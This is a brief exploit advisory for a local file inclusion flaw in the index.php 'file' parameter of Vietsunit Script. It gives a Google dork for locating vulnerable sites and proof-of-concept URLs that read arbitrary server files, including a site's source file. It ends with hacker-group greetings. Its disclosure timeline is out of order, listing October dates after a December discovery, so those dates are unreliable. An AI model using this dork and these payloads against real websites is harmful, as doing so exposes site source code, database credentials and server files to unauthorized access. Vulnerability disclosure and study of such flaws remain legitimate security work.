----------------------------------------------------------------
Vietsunit Script <= (index.php) Local File Include Vulnerability
----------------------------------------------------------------
 
# Exploit Title:Vietsunit Script <= (index.php) Local File Include Vulnerability
# Google Dork: inurl:"/modules/index.php?action=view file="
# Application Name: [Vietsunit Script]
# Date: 2011-12-9
# Author: BHG Security Center
# Home: Http://black-hg.org
# Vendor Response(s): http://www.vietsunit.com/
# Version: [ 1.0 ]
# Impact : [ Low ]
# Tested on: [centos 5.6 /apache]
# CVE : Webapps
 
+-----------------------+
| LFI   Vulnerability   |
+-----------------------+
 
Description: You can get the database information and hack into the
system to apply ~ Reading the source files to a website is very easy
to impress
 
# PoC(s):
 
http://[HOST]/modules/index.php?action=view&file=[LFI]
 
http://[HOST]/modules/index.php?action=view&file=/home/uSER/public_html/intro.php
<> True
 
 
 
# Reference:
[1] For more information about this vulnerability (URL:
http://www.hakipedia.com/index.php/Local_File_Inclusion)
 
 
# Important Notes:
- Vendor did not respond to the email as well as the phone. As there
is not any contact form or email address in the website, we have used
all the emails which had been found by searching in Google such as
support, info, and so on.
 
[-] Disclosure timeline:
 
[4/12/2011] - Vulnerabilities discovered
[6/10/2011] - Others vulnerabilities discovered
[7/10/2011] - Issues reported to http://black-hg.org
[9/10/2011] - Public disclosure
 
# Greets To :
 
Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ tHe.k!ll3r ~ Cyrus ~ 2MzRp
 
ArYaIeIrAn ~ Mikili ~ NoL1m1t ~ cmaxx ~ r3v0lter ~ Mr.XHat
 
G3n3Rall ~  M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ s3cure.p0rt
 
THANKS TO ALL Iranian HackerZ  ./Persian Gulf
 
===========================================[End]=============================================